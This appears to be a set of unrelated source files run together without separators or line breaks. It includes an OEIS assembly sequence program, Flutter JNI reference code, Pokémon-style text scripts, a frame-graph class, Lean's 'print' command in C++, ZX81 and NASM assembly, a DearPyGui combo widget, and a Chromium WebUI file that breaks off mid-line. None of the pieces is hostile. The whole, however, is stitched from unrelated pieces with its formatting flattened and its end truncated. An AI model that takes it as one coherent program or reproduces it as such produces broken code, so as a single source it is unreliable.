; A004090: Sum of digits of Fibonacci numbers. ; 0,1,1,2,3,5,8,4,3,7,10,17,9,8,17,7,24,22,19,14,24,20,17,28,27,19,19,29,21,23,17,31,30,34,37,35,27,35,44,43,24,31,46,41,33,29,35,37,54,55,46,29,48,41,53,58,48,52,73,44,54,53,62,61,51,67,73,59,51,65,62,46,72,64,82,65,66,86,80,58,84,79,64,98,72,89,80,97,69,94,73,68,78,65,89,91,90,100,82,101 seq $0,45 ; Fibonacci numbers: F(n) = F(n-1) + F(n-2) with F(0) = 0 and F(1) = 1. seq $0,7953 ; Digital sum (i.e., sum of digits) of n; also called digsum(n).
// Copyright 2017 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "flutter/fml/platform/android/jni_weak_ref.h" #include "flutter/fml/logging.h" #include "flutter/fml/platform/android/jni_util.h" namespace fml { namespace jni { JavaObjectWeakGlobalRef::JavaObjectWeakGlobalRef() : obj_(NULL) {} JavaObjectWeakGlobalRef::JavaObjectWeakGlobalRef( const JavaObjectWeakGlobalRef& orig) : obj_(NULL) { Assign(orig); } JavaObjectWeakGlobalRef::JavaObjectWeakGlobalRef(JNIEnv* env, jobject obj) : obj_(env->NewWeakGlobalRef(obj)) { FML_DCHECK(obj_); } JavaObjectWeakGlobalRef::~JavaObjectWeakGlobalRef() { reset(); } void JavaObjectWeakGlobalRef::operator=(const JavaObjectWeakGlobalRef& rhs) { Assign(rhs); } void JavaObjectWeakGlobalRef::reset() { if (obj_) { AttachCurrentThread()->DeleteWeakGlobalRef(obj_); obj_ = NULL; } } ScopedJavaLocalRef<jobject> JavaObjectWeakGlobalRef::get(JNIEnv* env) const { return GetRealObject(env, obj_); } ScopedJavaLocalRef<jobject> GetRealObject(JNIEnv* env, jweak obj) { jobject real = NULL; if (obj) { real = env->NewLocalRef(obj); if (!real) { FML_DLOG(ERROR) << "The real object has been deleted!"; } } return ScopedJavaLocalRef<jobject>(env, real); } void JavaObjectWeakGlobalRef::Assign(const JavaObjectWeakGlobalRef& other) { if (&other == this) return; JNIEnv* env = AttachCurrentThread(); if (obj_) env->DeleteWeakGlobalRef(obj_); obj_ = other.obj_ ? env->NewWeakGlobalRef(other.obj_) : NULL; } } // namespace jni } // namespace fml
UnknownText_0x1b730b: text_ram wStringBuffer3 text " here…" para "<PLAYER>! Beautiful" line "morning, hey?" done UnknownText_0x1b7331: text_ram wStringBuffer3 text " here…" para "<PLAYER>! Beautiful" line "weather, hey?" done UnknownText_0x1b7357: text_ram wStringBuffer3 text " here…" para "<PLAYER>! Beautiful" line "moonlight, hey?" done UnknownText_0x1b737f: text "Hey, <PLAYER>!" line "This is @" text_ram wStringBuffer3 text "!" done UnknownText_0x1b7397: text "Hey, <PLAYER>!" line "This is @" text_ram wStringBuffer3 text "!" done UnknownText_0x1b73af: text "Hey, <PLAYER>!" line "This is @" text_ram wStringBuffer3 text "!" done
#include "KFrameGraphPass.h" KFrameGraphPass::KFrameGraphPass(const std::string& name) : m_Name(name), m_Ref(0), m_ExecutedDenpencies(0), m_Executed(false) { } KFrameGraphPass::~KFrameGraphPass() { } bool KFrameGraphPass::ReadImpl(KFrameGraphBuilder& builder, KFrameGraphID handle) { auto it = std::find(m_ReadResources.begin(), m_ReadResources.end(), handle); if (it == m_ReadResources.end()) { m_ReadResources.push_back(handle); } return true; } bool KFrameGraphPass::WriteImpl(KFrameGraphBuilder& builder, KFrameGraphID handle) { auto it = std::find(m_WriteResources.begin(), m_WriteResources.end(), handle); // TODO if (it == m_WriteResources.end()) { m_WriteResources.push_back(handle); } return true; } bool KFrameGraphPass::Clear() { m_ReadResources.clear(); m_WriteResources.clear(); m_Ref = 0; m_ExecutedDenpencies = 0; m_Executed = false; return true; }
/* Copyright (c) 2015 Microsoft Corporation. All rights reserved. Released under Apache 2.0 license as described in the file LICENSE. Author: Leonardo de Moura */ #include <algorithm> #include <string> #include "util/sstream.h" #include "util/sexpr/option_declarations.h" #include "kernel/for_each_fn.h" #include "kernel/inductive/inductive.h" #include "kernel/quotient/quotient.h" #include "kernel/hits/hits.h" #include "library/util.h" #include "library/class.h" #include "library/aliases.h" #include "library/flycheck.h" #include "library/pp_options.h" #include "library/private.h" #include "library/protected.h" #include "library/attribute_manager.h" #include "library/user_recursors.h" #include "library/noncomputable.h" #include "library/type_context.h" #include "library/unification_hint.h" #include "library/reducible.h" #include "library/rfl_lemmas.h" #include "library/tactic/kabstract.h" #include "library/tactic/simplifier/simp_lemmas.h" #include "library/tactic/simplifier/simp_extensions.h" #include "frontends/lean/parser.h" #include "frontends/lean/util.h" #include "frontends/lean/tokens.h" #include "frontends/lean/structure_cmd.h" namespace lean { struct print_axioms_deps { environment m_env; io_state_stream m_ios; name_set m_visited; bool m_use_axioms; print_axioms_deps(environment const & env, io_state_stream const & ios): m_env(env), m_ios(ios), m_use_axioms(false) {} void visit(name const & n) { if (m_visited.contains(n)) return; m_visited.insert(n); declaration const & d = m_env.get(n); if (!d.is_definition() && !m_env.is_builtin(n)) { m_use_axioms = true; m_ios << d.get_name() << "\n"; } visit(d.get_type()); if (d.is_definition()) visit(d.get_value()); } void visit(expr const & e) { for_each(e, [&](expr const & e, unsigned) { if (is_constant(e)) visit(const_name(e)); return true; }); } void operator()(name const & n) { visit(n); if (!m_use_axioms) m_ios << "no axioms" << endl; } }; static environment print_axioms(parser & p) { if (p.curr_is_identifier()) { name c = p.check_constant_next("invalid 'print axioms', constant expected"); environment new_env = p.reveal_all_theorems(); type_context tc(new_env, p.get_options()); auto out = regular(new_env, p.ios(), tc); print_axioms_deps(p.env(), out)(c); return new_env; } else { bool has_axioms = false; environment const & env = p.env(); type_context tc(env, p.get_options()); auto out = regular(env, p.ios(), tc); env.for_each_declaration([&](declaration const & d) { name const & n = d.get_name(); if (!d.is_definition() && !env.is_builtin(n) && d.is_trusted()) { out << n << " : " << d.get_type() << endl; has_axioms = true; } }); if (!has_axioms) out << "no axioms" << endl; return p.env(); } } static void print_prefix(parser & p) { name prefix = p.check_id_next("invalid 'print prefix' command, identifier expected"); environment const & env = p.env(); buffer<declaration> to_print; type_context tc(env, p.get_options()); auto out = regular(env, p.ios(), tc); env.for_each_declaration([&](declaration const & d) { if (is_prefix_of(prefix, d.get_name())) { to_print.push_back(d); } }); std::sort(to_print.begin(), to_print.end(), [](declaration const & d1, declaration const & d2) { return d1.get_name() < d2.get_name(); }); for (declaration const & d : to_print) { out << d.get_name() << " : " << d.get_type() << endl; } if (to_print.empty()) out << "no declaration starting with prefix '" << prefix << "'" << endl; } static void print_fields(parser const & p, name const & S, pos_info const & pos) { environment const & env = p.env(); if (!is_structure(env, S)) throw parser_error(sstream() << "invalid 'print fields' command, '" << S << "' is not a structure", pos); buffer<name> field_names; get_structure_fields(env, S, field_names); type_context tc(env, p.get_options()); auto out = regular(env, p.ios(), tc); for (name const & field_name : field_names) { declaration d = env.get(field_name); out << d.get_name() << " : " << d.get_type() << endl; } } static bool uses_token(unsigned num, notation::transition const * ts, name const & token) { for (unsigned i = 0; i < num; i++) { if (ts[i].get_token() == token) return true; } return false; } static bool uses_some_token(unsigned num, notation::transition const * ts, buffer<name> const & tokens) { return tokens.empty() || std::any_of(tokens.begin(), tokens.end(), [&](name const & token) { return uses_token(num, ts, token); }); } static bool print_parse_table(parser const & p, parse_table const & t, bool nud, buffer<name> const & tokens, bool tactic_table = false) { bool found = false; io_state ios = p.ios(); options os = ios.get_options(); os = os.update_if_undef(get_pp_full_names_name(), true); os = os.update(get_pp_notation_name(), false); os = os.update(get_pp_preterm_name(), true); ios.set_options(os); type_context tc(p.env(), p.get_options()); io_state_stream out = regular(p.env(), ios, tc); optional<token_table> tt(get_token_table(p.env())); t.for_each([&](unsigned num, notation::transition const * ts, list<notation::accepting> const & overloads) { if (uses_some_token(num, ts, tokens)) { if (tactic_table) out << "tactic notation "; found = true; notation::display(out, num, ts, overloads, nud, tt); } }); return found; } static void print_notation(parser & p) { buffer<name> tokens; while (p.curr_is_keyword()) { tokens.push_back(p.get_token_info().token()); p.next(); } bool found = false; if (print_parse_table(p, get_nud_table(p.env()), true, tokens)) found = true; if (print_parse_table(p, get_led_table(p.env()), false, tokens)) found = true; if (!found) p.ios().get_regular_stream() << "no notation" << std::endl; } #if 0 static void print_patterns(parser & p, name const & n) { if (is_forward_lemma(p.env(), n)) { // we regenerate the patterns to make sure they reflect the current set of reducible constants try { blast::scope_debug scope(p.env(), p.ios()); auto hi = blast::mk_hi_lemma(n, LEAN_DEFAULT_PRIORITY); if (hi.m_multi_patterns) { options opts = p.get_options(); opts = opts.update_if_undef(get_pp_metavar_args_name(), true); io_state new_ios(p.ios(), opts); type_context tc(p.env(), opts); io_state_stream out = regular(p.env(), new_ios, tc); out << "(multi-)patterns:\n"; if (!is_nil(hi.m_mvars)) { expr m = head(hi.m_mvars); out << m << " : " << mlocal_type(m); for (expr const & m : tail(hi.m_mvars)) { out << ", " << m << " : " << mlocal_type(m); } } out << "\n"; for (multi_pattern const & mp : hi.m_multi_patterns) { out << "{"; bool first = true; for (expr const & p : mp) { if (first) first = false; else out << ", "; out << p; } out << "}\n"; } } } catch (exception & ex) { p.display_error(ex); } } } #endif static name to_user_name(environment const & env, name const & n) { if (auto r = hidden_to_user_name(env, n)) return *r; else return n; } static void print_definition(parser const & p, name const & n, pos_info const & pos) { environment const & env = p.env(); declaration d = env.get(n); options opts = p.get_options(); opts = opts.update_if_undef(get_pp_beta_name(), false); io_state ios(p.ios(), opts); type_context tc(env, opts); io_state_stream out = regular(env, ios, tc); if (d.is_axiom()) throw parser_error(sstream() << "invalid 'print definition', theorem '" << to_user_name(env, n) << "' is not available (suggestion: use command 'reveal " << to_user_name(env, n) << "')", pos); if (!d.is_definition()) throw parser_error(sstream() << "invalid 'print definition', '" << to_user_name(env, n) << "' is not a definition", pos); out << d.get_value() << endl; } static void print_attributes(parser const & p, name const & n) { environment const & env = p.env(); std::ostream & out = p.ios().get_regular_stream(); buffer<attribute const *> attrs; get_attributes(p.env(), attrs); std::sort(attrs.begin(), attrs.end(), [](attribute const * a1, attribute const * a2) { return a1->get_name() < a2->get_name(); }); bool first = true; for (auto attr : attrs) { if (attr->get_name() == "reducibility") continue; if (auto data = attr->get_untyped(env, n)) { if (first) { out << "attribute ["; first = false; } else { out << ", "; } out << attr->get_name(); data->print(out); unsigned prio = attr->get_prio(env, n); if (prio != LEAN_DEFAULT_PRIORITY) out << ", priority " << prio; } } if (!first) out << "]\n"; } static void print_inductive(parser const & p, name const & n, pos_info const & pos) { environment const & env = p.env(); type_checker tc(env); io_state_stream out = regular(env, p.ios(), tc); if (auto idecl = inductive::is_inductive_decl(env, n)) { level_param_names ls = idecl->m_level_params; print_attributes(p, n); if (is_structure(env, n)) out << "structure"; else out << "inductive"; out << " " << n; out << " : " << env.get(n).get_type() << "\n"; if (is_structure(env, n)) { out << "fields:\n"; print_fields(p, n, pos); } else { out << "constructors:\n"; buffer<name> constructors; get_intro_rule_names(env, n, constructors); for (name const & c : constructors) { out << c << " : " << env.get(c).get_type() << "\n"; } } } else { throw parser_error(sstream() << "invalid 'print inductive', '" << n << "' is not an inductive declaration", pos); } } static void print_recursor_info(parser & p) { name c = p.check_constant_next("invalid 'print [recursor]', constant expected"); std::ostream & out = p.ios().get_regular_stream(); recursor_info info = get_recursor_info(p.env(), c); out << "recursor information\n" << " num. parameters: " << info.get_num_params() << "\n" << " num. indices: " << info.get_num_indices() << "\n" << " num. minors: " << info.get_num_minors() << "\n" << " recursive: " << info.is_recursive() << "\n" << " universe param pos.: "; for (unsigned idx : info.get_universe_pos()) { if (idx == recursor_info::get_motive_univ_idx()) { out << " [motive univ]"; } else { out << " " << idx; } } out << "\n"; out << " motive pos.: " << info.get_motive_pos() + 1 << "\n" << " major premise pos.: " << info.get_major_pos() + 1 << "\n" << " dep. elimination: " << info.has_dep_elim() << "\n"; if (info.get_num_params() > 0) { out << " parameters pos. at major:"; for (optional<unsigned> const & p : info.get_params_pos()) { if (p) out << " " << *p+1; else out << " [instance]"; } out << "\n"; } if (info.get_num_indices() > 0) { out << " indices pos. at major: "; for (unsigned p : info.get_indices_pos()) out << " " << p+1; out << "\n"; } } static bool print_constant(parser const & p, char const * kind, declaration const & d, bool is_def = false) { type_checker tc(p.env()); auto out = regular(p.env(), p.ios(), tc); print_attributes(p, d.get_name()); if (is_protected(p.env(), d.get_name())) out << "protected "; if (d.is_definition() && is_marked_noncomputable(p.env(), d.get_name())) out << "noncomputable "; out << kind << " " << to_user_name(p.env(), d.get_name()); out.update_options(out.get_options().update((name {"pp", "binder_types"}), true)) << " : " << d.get_type(); if (is_def) out << " :="; out << "\n"; return true; } bool print_id_info(parser & p, name const & id, bool show_value, pos_info const & pos) { // declarations try { environment const & env = p.env(); type_checker tc(env); auto out = regular(env, p.ios(), tc); try { list<name> cs = p.to_constants(id, "", pos); bool first = true; for (name const & c : cs) { if (first) first = false; else out << "\n"; declaration const & d = env.get(c); if (d.is_theorem()) { print_constant(p, "theorem", d, show_value); if (show_value) print_definition(p, c, pos); } else if (d.is_axiom() || d.is_constant_assumption()) { if (inductive::is_inductive_decl(env, c)) { print_inductive(p, c, pos); } else if (inductive::is_intro_rule(env, c)) { print_constant(p, "constructor", d); } else if (inductive::is_elim_rule(env, c)) { print_constant(p, "eliminator", d); } else if (is_quotient_decl(env, c)) { print_constant(p, "builtin-quotient-type-constant", d); } else if (is_hits_decl(env, c)) { print_constant(p, "builtin-HIT-constant", d); } else if (d.is_axiom()) { print_constant(p, "axiom", d); } else { print_constant(p, "constant", d); } } else if (d.is_definition()) { print_constant(p, "definition", d, show_value); if (show_value) print_definition(p, c, pos); } // print_patterns(p, c); } return true; } catch (exception & ex) {} // variables and parameters if (expr const * type = p.get_local(id)) { if (is_local(*type)) { if (p.is_local_variable(*type)) { out << "variable " << id << " : " << mlocal_type(*type) << "\n"; } else { out << "parameter " << id << " : " << mlocal_type(*type) << "\n"; } return true; } } // options auto decls = get_option_declarations(); bool found = false; decls.for_each([&](name const &, option_declaration const & opt) { if (found) return; if (opt.get_name() == id || opt.get_name() == name("lean") + id) { out << "option " << opt.get_name() << " (" << opt.kind() << ") " << opt.get_description() << " (default: " << opt.get_default_value() << ")" << endl; found = true; } }); if (found) return true; } catch (exception &) {} return false; } bool print_token_info(parser const & p, name const & tk) { buffer<name> tokens; tokens.push_back(tk); bool found = false; if (print_parse_table(p, get_nud_table(p.env()), true, tokens)) { found = true; } if (print_parse_table(p, get_led_table(p.env()), false, tokens)) { found = true; } return found; } bool print_polymorphic(parser & p) { auto pos = p.pos(); try { name id = p.check_id_next(""); bool show_value = true; if (print_id_info(p, id, show_value, pos)) return true; } catch (exception &) {} // notation if (p.curr_is_keyword()) { name tk = p.get_token_info().token(); if (print_token_info(p, tk)) { p.next(); return true; } } return false; } static void print_unification_hints(parser & p) { type_checker tc(p.env()); auto out = regular(p.env(), p.ios(), tc); out << pp_unification_hints(get_unification_hints(p.env()), out.get_formatter()); } static void print_rfl_lemmas(parser & p) { type_checker tc(p.env()); auto out = regular(p.env(), p.ios(), tc); out << pp_rfl_lemmas(*get_rfl_lemmas(p.env()), out.get_formatter()); } static void print_simp_rules(parser & p) { type_context aux_tctx(p.env(), p.get_options()); name attr = p.check_id_next("invalid 'print [simp]' command, identifier expected"); buffer<name> attrs; attrs.push_back(attr); buffer<name> no_congr; simp_lemmas slss = get_simp_lemmas(aux_tctx, attrs, no_congr); type_checker tc(p.env()); auto out = regular(p.env(), p.ios(), tc); out << slss.pp_simp(out.get_formatter()); } static void print_congr_rules(parser & p) { type_context aux_tctx(p.env(), p.get_options()); name attr = p.check_id_next("invalid 'print [congr]' command, identifier expected"); buffer<name> no_simp; buffer<name> attrs; attrs.push_back(attr); simp_lemmas slss = get_simp_lemmas(aux_tctx, no_simp, attrs); type_checker tc(p.env()); auto out = regular(p.env(), p.ios(), tc); out << slss.pp_congr(out.get_formatter()); } static void print_simp_extensions(parser & p) { type_checker tc(p.env()); auto out = regular(p.env(), p.ios(), tc); out << pp_simp_extensions(p.env()); } #if 0 static void print_light_rules(parser & p) { type_checker tc(p.env()); auto out = regular(p.env(), p.ios(), tc); light_rule_set lrs = get_light_rule_set(p.env()); out << lrs; } #endif static void print_aliases(parser const & p) { std::ostream & out = p.ios().get_regular_stream(); for_each_expr_alias(p.env(), [&](name const & n, list<name> const & as) { out << n << " -> {"; bool first = true; for (name const & a : as) { if (first) first = false; else out << ", "; out << a; } out << "}\n"; }); } static void print_key_equivalences(parser & p) { std::ostream & out = p.ios().get_regular_stream(); for_each_key_equivalence(p.env(), [&](buffer<name> const & ns) { out << "["; for (unsigned i = 0; i < ns.size(); i++) { if (i > 0) out << ", "; out << ns[i]; } out << "]\n"; }); } static void print_attribute(parser & p, attribute const & attr) { buffer<name> instances; attr.get_instances(p.env(), instances); // oldest first unsigned i = instances.size(); while (i > 0) { --i; p.ios().get_regular_stream() << instances[i] << "\n"; } } environment print_cmd(parser & p) { flycheck_information info(p.ios()); environment const & env = p.env(); type_checker tc(env); auto out = regular(env, p.ios(), tc); if (info.enabled()) { p.display_information_pos(p.cmd_pos()); out << "print result:\n"; } if (p.curr() == scanner::token_kind::String) { out << p.get_str_val() << endl; p.next(); } else if (p.curr_is_token_or_id(get_raw_tk())) { p.next(); expr e = p.parse_expr(); options opts = out.get_options(); opts = opts.update(get_pp_notation_name(), false); out.update_options(opts) << e << endl; } else if (p.curr_is_token_or_id(get_options_tk())) { p.next(); out << p.ios().get_options() << endl; } else if (p.curr_is_token_or_id(get_trust_tk())) { p.next(); out << "trust level: " << p.env().trust_lvl() << endl; } else if (p.curr_is_token_or_id(get_key_equivalences_tk())) { p.next(); print_key_equivalences(p); } else if (p.curr_is_token_or_id(get_definition_tk())) { p.next(); auto pos = p.pos(); name id = p.check_id_next("invalid 'print definition', constant expected"); list<name> cs = p.to_constants(id, "invalid 'print definition', constant expected", pos); bool first = true; for (name const & c : cs) { if (first) first = false; else out << "\n"; declaration const & d = p.env().get(c); if (d.is_theorem()) { print_constant(p, "theorem", d); print_definition(p, c, pos); } else if (d.is_definition()) { print_constant(p, "definition", d); print_definition(p, c, pos); } else { throw parser_error(sstream() << "invalid 'print definition', '" << to_user_name(p.env(), c) << "' is not a definition", pos); } } } else if (p.curr_is_token_or_id(get_instances_tk())) { p.next(); name c = p.check_constant_next("invalid 'print instances', constant expected"); for (name const & i : get_class_instances(env, c)) { out << i << " : " << env.get(i).get_type() << endl; } } else if (p.curr_is_token_or_id(get_classes_tk())) { p.next(); buffer<name> classes; get_classes(env, classes); std::sort(classes.begin(), classes.end()); for (name const & c : classes) { out << c << " : " << env.get(c).get_type() << endl; } } else if (p.curr_is_token_or_id(get_attributes_tk())) { p.next(); buffer<attribute const *> attrs; get_attributes(p.env(), attrs); std::sort(attrs.begin(), attrs.end(), [](attribute const * a1, attribute const * a2) { return a1->get_name() < a2->get_name(); }); for (auto attr : attrs) { out << "[" << attr->get_name() << "] " << attr->get_description() << endl; } } else if (p.curr_is_token_or_id(get_prefix_tk())) { p.next(); print_prefix(p); } else if (p.curr_is_token_or_id(get_aliases_tk())) { p.next(); print_aliases(p); } else if (p.curr_is_token_or_id(get_axioms_tk())) { p.next(); return print_axioms(p); } else if (p.curr_is_token_or_id(get_fields_tk())) { p.next(); auto pos = p.pos(); name S = p.check_constant_next("invalid 'print fields' command, constant expected"); print_fields(p, S, pos); } else if (p.curr_is_token_or_id(get_notation_tk())) { p.next(); print_notation(p); } else if (p.curr_is_token_or_id(get_inductive_tk())) { p.next(); auto pos = p.pos(); name c = p.check_constant_next("invalid 'print inductive', constant expected"); print_inductive(p, c, pos); } else if (p.curr_is_token(get_lbracket_tk())) { p.next(); auto pos = p.pos(); auto name = p.check_id_next("invalid attribute declaration, identifier expected"); p.check_token_next(get_rbracket_tk(), "invalid 'print [<attr>]', ']' expected"); if (name == "recursor") print_recursor_info(p); else if (name == "unify") print_unification_hints(p); else if (name == "defeq") print_rfl_lemmas(p); else if (name == "simp") print_simp_rules(p); else if (name == "simp_ext") print_simp_extensions(p); else if (name == "congr") print_congr_rules(p); else if (name == "light") { // print_light_rules(p); } else { if (!is_attribute(p.env(), name)) throw parser_error(sstream() << "unknown attribute [" << name << "]", pos); auto const & attr = get_attribute(p.env(), name); print_attribute(p, attr); } } else if (print_polymorphic(p)) { } else { throw parser_error("invalid print command", p.pos()); } return p.env(); } }
; ; ZX81 pseudo graphics routines ; ; cls () -- clear screen ; ; Stefano Bodrato - 2014 ; ; ; $Id: clsgraph.asm,v 1.4 2017/01/02 22:58:00 aralbrec Exp $ ; SECTION code_clib PUBLIC cleargraphics PUBLIC _cleargraphics ;EXTERN loadudg6 EXTERN filltxt ;EXTERN base_graphics INCLUDE "graphics/grafix.inc" .cleargraphics ._cleargraphics ld l,0 jp filltxt
#include <utility> #include "mvCombo.h" #include "mvApp.h" #include "mvItemRegistry.h" namespace Marvel { void mvCombo::InsertParser(std::map<std::string, mvPythonParser>* parsers) { parsers->insert({ "add_combo", mvPythonParser({ {mvPythonDataType::String, "name"}, {mvPythonDataType::KeywordOnly}, {mvPythonDataType::StringList, "items", "", "()"}, {mvPythonDataType::String, "default_value", "", "''"}, {mvPythonDataType::Callable, "callback", "Registers a callback", "None"}, {mvPythonDataType::Object, "callback_data", "Callback data", "None"}, {mvPythonDataType::String, "parent", "Parent this item will be added to. (runtime adding)", "''"}, {mvPythonDataType::String, "before", "This item will be displayed before the specified item in the parent. (runtime adding)", "''"}, {mvPythonDataType::String, "source", "Overrides 'name' as value storage key", "''"}, {mvPythonDataType::Bool, "enabled", "Display grayed out text so selectable cannot be selected", "True"}, {mvPythonDataType::Integer, "width","", "0"}, {mvPythonDataType::String, "label", "Overrides 'name' as label", "''"}, {mvPythonDataType::Bool, "show","Attemp to render", "True"}, {mvPythonDataType::Bool, "popup_align_left","Align the popup toward the left by default", "False"}, {mvPythonDataType::Bool, "height_small","Max ~4 items visible", "False"}, {mvPythonDataType::Bool, "height_regular","Max ~8 items visible (default)", "False"}, {mvPythonDataType::Bool, "height_large","Max ~20 items visible", "False"}, {mvPythonDataType::Bool, "height_largest","As many items visible as possible", "False"}, {mvPythonDataType::Bool, "no_arrow_button","Display on the preview box without the square arrow button", "False"}, {mvPythonDataType::Bool, "no_preview","Display only a square arrow button", "False"}, }, "Adds a combo.", "None", "Adding Widgets") }); } mvCombo::mvCombo(const std::string& name, const std::string& default_value, const std::string& dataSource) : mvStringPtrBase(name, default_value) { m_description.disableAllowed = true; } void mvCombo::draw() { auto styleManager = m_styleManager.getScopedStyleManager(); ScopedID id; mvImGuiThemeScope scope(this); static std::vector<std::string> disabled_items{}; if (!m_core_config.enabled) { ImVec4 disabled_color = ImVec4(ImGui::GetStyleColorVec4(ImGuiCol_TextDisabled)); disabled_color.w = 0.392f; styleManager.addColorStyle(ImGuiCol_FrameBg, disabled_color); styleManager.addColorStyle(ImGuiCol_FrameBgHovered, disabled_color); styleManager.addColorStyle(ImGuiCol_FrameBgActive, disabled_color); styleManager.addColorStyle(ImGuiCol_Button, disabled_color); styleManager.addColorStyle(ImGuiCol_ButtonHovered, disabled_color); styleManager.addColorStyle(ImGuiCol_ButtonActive, disabled_color); styleManager.addColorStyle(ImGuiCol_PopupBg, { 0.0f, 0.0f, 0.0f, 0.0f }); styleManager.addColorStyle(ImGuiCol_Border, { 0.0f, 0.0f, 0.0f, 0.0f }); styleManager.addColorStyle(ImGuiCol_Text, ImVec4(ImGui::GetStyleColorVec4(ImGuiCol_TextDisabled))); } // The second parameter is the label previewed before opening the combo. if (ImGui::BeginCombo(m_label.c_str(), m_value->c_str(), m_flags)) { for (const auto& name : m_core_config.enabled ? m_items : disabled_items) { bool is_selected = (*m_value == name); if (ImGui::Selectable((name).c_str(), is_selected)) { if (m_core_config.enabled) { *m_value = name; } mvApp::GetApp()->getCallbackRegistry().addCallback(m_core_config.callback, m_core_config.name, m_core_config.callback_data); } // Set the initial focus when opening the combo (scrolling + for keyboard navigation support in the upcoming navigation branch) if (is_selected) ImGui::SetItemDefaultFocus(); } ImGui::EndCombo(); } } #ifndef MV_CPP void mvCombo::setExtraConfigDict(PyObject* dict) { if (dict == nullptr) return; if (PyObject* item = PyDict_GetItemString(dict, "items")) m_items = ToStringVect(item); // helpers for bit flipping auto flagop = [dict](const char* keyword, int flag, int& flags) { if (PyObject* item = PyDict_GetItemString(dict, keyword)) ToBool(item) ? flags |= flag : flags &= ~flag; }; auto conflictingflagop = [dict](const char* const keywords[4], const int flags[4], int& mflags) { for (size_t i = 0; i < 4; i++) { if (PyObject* item = PyDict_GetItemString(dict, keywords[i])) { //turning all conflicting flags false for (int i = 0; i < 4; i++) mflags &= ~flags[i]; //writing only the first conflicting flag ToBool(item) ? mflags |= flags[i] : mflags &= ~flags[i]; break; } } }; flagop("popup_align_left", ImGuiComboFlags_PopupAlignLeft, m_flags); flagop("no_arrow_button", ImGuiComboFlags_NoArrowButton, m_flags); flagop("no_preview", ImGuiComboFlags_NoPreview, m_flags); constexpr static const char* HeightKeywords[4]{ "height_small", "height_regular", "height_large", "height_largest" }; constexpr static const int HeightFlags[4]{ ImGuiComboFlags_HeightSmall, ImGuiComboFlags_HeightRegular, ImGuiComboFlags_HeightLarge, ImGuiComboFlags_HeightLargest }; conflictingflagop(HeightKeywords, HeightFlags, m_flags); } void mvCombo::getExtraConfigDict(PyObject* dict) { if (dict == nullptr) return; PyDict_SetItemString(dict, "items", ToPyList(m_items)); // helper to check and set bit auto checkbitset = [dict](const char* keyword, int flag, const int& flags) { PyDict_SetItemString(dict, keyword, ToPyBool(flags & flag)); }; checkbitset("popup_align_left", ImGuiComboFlags_PopupAlignLeft, m_flags); checkbitset("height_small", ImGuiComboFlags_HeightSmall, m_flags); checkbitset("height_regular", ImGuiComboFlags_HeightRegular, m_flags); checkbitset("height_large", ImGuiComboFlags_HeightLarge, m_flags); checkbitset("height_largest", ImGuiComboFlags_HeightLargest, m_flags); checkbitset("no_arrow_button", ImGuiComboFlags_NoArrowButton, m_flags); checkbitset("no_preview", ImGuiComboFlags_NoPreview, m_flags); } PyObject* add_combo(PyObject* self, PyObject* args, PyObject* kwargs) { const char* name; const char* default_value = ""; PyObject* items; PyObject* callback = nullptr; PyObject* callback_data = nullptr; int width = 0; const char* before = ""; const char* parent = ""; const char* source = ""; int enabled = true; const char* label = ""; int show = true; int popup_align_left = false; int height_small = false; int height_regular = false; int height_large = false; int height_largest = false; int no_arrow_button = false; int no_preview = false; if (!(*mvApp::GetApp()->getParsers())["add_combo"].parse(args, kwargs, __FUNCTION__, &name, &items, &default_value, &callback, &callback_data, &parent, &before, &source, &enabled, &width, &label, &show, &popup_align_left, &height_small, &height_regular, &height_large, &height_largest, &no_arrow_button, &no_preview)) return ToPyBool(false); auto item = CreateRef<mvCombo>(name, default_value, source); if (callback) Py_XINCREF(callback); item->setCallback(callback); if (callback_data) Py_XINCREF(callback_data); item->setCallbackData(callback_data); item->checkConfigDict(kwargs); item->setConfigDict(kwargs); item->setExtraConfigDict(kwargs); mvApp::GetApp()->getItemRegistry().addItemWithRuntimeChecks(item, parent, before); return GetPyNone(); } #endif }
; ; file: main4.asm ; Multi-module subprogram example program ; ; To create executable: ; Using djgpp: ; nasm -f coff sub4.asm ; nasm -f coff main4.asm ; gcc -o sub4 sub4.o main4.o driver.c asm_io.o ; ; Using Borland C/C++ ; nasm -f obj sub4.asm ; nasm -f obj main4.asm ; bcc32 sub4.obj main4.asm driver.c asm_io.obj %include "asm_io.inc" segment .data sum dd 0 segment .bss input resd 1 ; ; psuedo-code algorithm ; i = 1; ; sum = 0; ; while( get_int(i, &input), input != 0 ) { ; sum += input; ; i++; ; } ; print_sum(num); segment .text global asm_main extern get_int, print_sum asm_main: enter 0,0 ; setup routine pusha mov edx, 1 ; edx is 'i' in pseudo-code while_loop: push edx ; save i on stack push dword input ; push address on input on stack call get_int add esp, 8 ; remove i and &input from stack mov eax, [input] cmp eax, 0 je end_while add [sum], eax ; sum += input inc edx jmp short while_loop end_while: push dword [sum] ; push value of sum onto stack call print_sum pop ecx ; remove [sum] from stack popa leave ret
// Copyright 2021 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "ash/webui/personalization_app/personalization_app_ui.h" #include "ash/constants/ash_features.h" #include "ash/grit/ash_personalization_app_resources.h" #include "ash/grit/ash_personalization_app_resources_map.h" #include "ash/webui/personalization_app/personalization_app_ui_delegate.h" #include "ash/webui/personalization_app/personalization_app_url_constants.h" #include "base/strings/strcat.h" #include "chromeos/strings/grit/chromeos_strings.h" #include "content/public/browser/web_contents.h" #include "content/public/browser/web_ui_data_source.h" #include "content/public/common/url_constants.h" #include "services/network/public/mojom/content_security_policy.mojom-shared.h" #include "ui/resources/grit/webui_generated_resources.h" #include "ui/webui/mojo_web_ui_controller.h" namespace ash { namespace { bool ShouldIncludeResource(const webui::ResourcePath& resource) { return base::StartsWith(resource.path, "trusted") || base::StartsWith(resource.path, "common") || resource.id == IDR_ASH_PERSONALIZATION_APP_ICON_192_PNG; } void AddResources(content::WebUIDataSource* source) { source->AddResourcePath("", IDR_ASH_PERSONALIZATION_APP_TRUSTED_INDEX_HTML); const auto resources = base::make_span(kAshPersonalizationAppResources, kAshPersonalizationAppResourcesSize); for (const auto& resource : resources) { if (ShouldIncludeResource(resource)) source->AddResourcePath(resource.path, resource.id); } // Mirror assert.m.js here so that it is accessible at the same path in // trusted and untrusted context. source->AddResourcePath("assert.m.js", IDR_WEBUI_JS_ASSERT_M_JS); source->AddResourcePath("test_loader.html", IDR_WEBUI_HTML_TEST_LOADER_HTML); source->AddResourcePath("test_loader.js", 